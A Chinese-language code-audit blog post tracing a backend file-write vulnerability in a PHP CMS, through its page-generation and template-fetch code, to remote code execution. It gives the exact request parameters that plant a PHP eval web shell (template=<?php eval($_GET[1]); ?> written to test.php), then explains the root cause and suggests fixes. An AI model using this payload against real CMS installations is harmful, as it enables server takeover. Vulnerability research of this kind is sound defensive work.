出于对审计的热爱,最近审了一下某 cms
,审出了个后台 getshell
,虽然危害不算太大,但是过程很有意思,在这里分享一下。
翻翻找找中找到了,这个函数:
function saxue_writefile( $_fileurl, $_data, $_method = "wb" ) { $_fileopen = @fopen( $_fileurl, $_method ); // 尝试打开文件 if ( !$_fileopen ) { return false; } @flock( $_fileopen, LOCK_EX ); $_ret = @fwrite( $_fileopen, $_data ); // 写入内容 @flock( $_fileopen, LOCK_UN ); @fclose( $_fileopen ); @chmod( $_fileurl, 511 ); return $_ret; }
这是个纯洁的函数,没有任何的过滤,第一个参数是 文件名
,第二个参数是 内容
,这和 file_put_contents
函数一样。
现在我们有个 “高危函数”,我们可以找找哪里调用了他, 又经过了很多次翻翻找找,在 adminpages.php
下有一段引起了我的注意:
case 'html': ... $row = `从 pages 数据表中获取值`; saxue_writefile( $filepath . '/' . $row['filename'] , $saxueTpl -> fetch( SAXUE_THEME_PATH . '/pages/' . $row['template'] ) ); ...
这里省略了大部分代码,留下了两行关键的。
之所以注意起这行代码,是因为我看到这个最后的 $row['filename']
。我就基本盲猜他是从数据库中拿出来的,这就说明了,我们有可能可以通过后台某项设置控制它。
然后我们看看第二个参数也是从 row
取出来的,当然,你会看到第二个参数还经过了一个函数: $saxueTpl -> fetch
。
由于他取出来的是 template
而且是 fetch
函数,我再一次盲猜他是获取文件内容的,这里暂时先不跟。
现在我们来看看这两个数值到底能不能控制,在 case html
下面,紧跟着的是 case add
,我们来看看这个 case add
。
case 'add': $row = array(); if ( isset( $_POST['dosubmit'] ) ) { $_POST['item'] = strtolower( trim( $_POST['item'] ) ); $_POST['title'] = trim( $_POST['title'] ); $_POST['content'] = trim( $_POST['content'] ); $_POST['htmldir'] = trim( $_POST['htmldir'] ); $_POST['htmlurl'] = trim( $_POST['htmlurl'] ); $_POST['filename'] = trim( $_POST['filename'] ); if ( isset( $_REQUEST['id'] ) ) { $data = $data_handler -> create( false ); // 编辑时调用到此处 } else { $data = $data_handler -> create(); // 根据 $_POST 创建一个数组,方便插入。 } if ( !$data_handler -> insert( $data ) ) { // 插入 $data ,即 $_POST 的数据 saxue_printfail( LANG_ERROR_DATABASE ); }
果不其然,我们在这里看到了我们的 filename
,在下面 insert
了,其间没有任何过滤。
当然你还会看这里没有 template
,但是真的没有吗?我们可以测试看看。
实践是检验真理的唯一标准。
访问后台的 pages.php
:
点击添加单页,然后抓包:
当然,能不能任意改值呢?比如 filename
改成 .php
后缀,template
改成别的路径的文件可以嘛?
我们试试:
数据库:
最后我们要验证 fetch
函数到底是不是获取文件内容的,我们也不需要跟进函数内部,直接测试就好。
我们看到 联系我们
这个 template
是 about.html
。我们去改一下 about.html
试试看:
然后此时触发那个 case html
下的代码。其实就是 pages.php
下的这个功能 :
生成一下:
成功了。。现在我们可以兴高采烈地去写 shell
了。
想一下怎么利用,因为我们现在也没有文件可以给我们控制。
其实我们很容易想到上传一个图片文件,然后读取文件图片写 shell
,上手试试,那么哪里可以上传图片呢?第一个想到的当然是写文章的地方啊:
然后我们这时候用刚刚抓到的包再添加一个,构造一下 参数
:
filename=test.phptemplate=../../../../attachs/image/1905/2722001482207.png
这里 template
是根据相对路径写出来的。
生成一下,访问,满心欢喜的期待着我们的 shell
出现:
What?出现了什么问题,我们去看看生成出来的文件(/about/test.php
):
为什么我们的文件名没了一半?看看数据库:
没错,我们的字段限制了长度:
在思考片刻后,我突然想到:文件名输出在了我们的 php 中
没错,我们可以把文件名写成一个 shell
,这样我们就可以连图片也不用上传了。
改改参数:
filename=test.phptemplate=<?php eval($_GET[1]); ?>
再次重复刚刚的步骤,修改,然后生成:
成功了。。
访问 /about/test.php
试试:
当然,这是一篇 审计区
的文章,秉着求知欲,我们看看这个字符串哪里来的。
回到一开始 pages.php
下 case html
,就是这句话:
saxue_writefile( $filepath . '/' . $row['filename'], $saxueTpl -> fetch( SAXUE_THEME_PATH . '/pages/' . $row['template'] ) );
我们跟进 fetch
函数。
(这里因为代码比较多,我用了 XBEBUG
找到了关键位置。)
关键位置:
ob_start();if( $this -> _is_compiled( $template_file, $_template_compile_path ) || $this -> _compile_resource( $template_file, $_template_compile_path )) { include( $_template_compile_path . $this -> _compile_prefix ); } $_template_results = ob_get_contents(); ob_end_clean();
倒数第二行的 $_template_results
就是返回值,这里是从 ob_get_contents
获取的。也就是缓冲区,但是从 ob_start
处到 ob_get_contents
就经历了一个 if
和一个 include
。
我们先看看 if
的第一个条件:
$this -> _is_compiled( $template_file, $_template_compile_path )
这里说明一下第一个参数是我们数据库里 template
的值。
跟进一下 _is_compiled
函数:
public function _is_compiled( $tpl_file, $compile_path ) { .... if ( !is_file( $tpl_file ) ) { return false; } ... }
这里依然省略了一些代码,因为正常来说就是判断了 $tpl_file
是否存在,由于我们写的是一句话,所以不可能是文件,返回 false
。
因为是 ||
,那么就会进入第二个判断:
$this -> _compile_resource( $template_file, $_template_compile_path )
跟进 _compile_resource
函数:
public function _compile_resource( $tpl_file, $compile_path ) { if ( !is_file( $tpl_file ) ) { echo "Template file (" . str_replace( SAXUE_ROOT_PATH, "", $tpl_file ) . ") is not exists!"; return false; }
没错,这里还是判断了是否是文件,如果不是就输出 模板文件 $tpl_file 不存在
,这句话里带有我们的文件名,此处的 str_replace
替换了一个无关紧要路径。
跳出函数,因为我们在 _compile_resource
函数内 echo
输出到了缓冲区。所以在下面获取的时候缓冲区内的数据就是:
Template file (/templates/pc/pages/<?php eval($_GET[1]); ?>) is not exists!
ob_start(); if ( $this -> _is_compiled( $template_file, $_template_compile_path ) || $this -> _compile_resource( $template_file, $_template_compile_path // 如果文件不存在,输出一句带有文件名的话,存入缓冲区)) { include( $_template_compile_path . $this -> _compile_prefix ); } $_template_results = ob_get_contents(); // 获取缓冲区的值,接下来会返回
此时这个字符串就被我们纯洁的 saxue_writefile
,写进纯洁的 test.php
里了。
这个漏洞其实还是很简单的,防御的话,我觉得可以在 fetch
函数中判断是否有一些特殊字符,或者干脆在找不到模板的时候干脆不输出文件名。其实我觉得应该还可以更好的防御方法,但是由于水平有限,希望表哥们如果有更好的方法可以一起探讨交流。
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.